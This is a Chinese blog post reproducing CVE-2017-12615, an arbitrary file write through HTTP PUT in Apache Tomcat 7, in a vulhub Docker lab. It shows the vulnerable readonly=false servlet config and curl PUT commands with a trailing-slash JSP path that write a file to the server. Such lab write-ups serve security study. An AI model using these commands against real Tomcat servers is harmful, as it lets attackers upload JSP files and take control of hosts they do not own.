CVE-2017-12615(tomcat PUT方法写任意文件)

最新推荐文章于 2022-01-01 14:42:03 发布

大千SS

最新推荐文章于 2022-01-01 14:42:03 发布

阅读量477

点赞数

分类专栏：赛题复现文章标签： CVE tomcat PUT写文件

本文链接：https://blog.csdn.net/zz_Caleb/article/details/95936634

版权

赛题复现专栏收录该内容

15 篇文章 1 订阅

订阅专栏

受影响的tomcat版本：Apache Tomcat 7.0.0 - 7.0.79

服务器对PUT方法可是要谨慎！！！不然很容易被搞的。。。

一、环境搭建

vulhub docker

docker-compose up -d

端口是8080

二、漏洞攻击

1）漏洞配置分析

readonly配置为为false导致可写

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <init-param>
        <param-name>readonly</param-name>   //readonly部分为false导致可写
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

2）漏洞利用

抓包修改

访问your-ip:8080，刷新抓包，修改如下：
在这里插入图片描述

注意：

修改方法为PUT
修改路径为/ss.jsp/

路径最后的/是必须要加上的。

使用curl

curl -X PUT http://target-host-or-ip-address:port/test.jsp/ -d @- < test.jsp    //put写文件

curl http://target-host-or-ip-address:port/test.jsp        //查看写上去的文件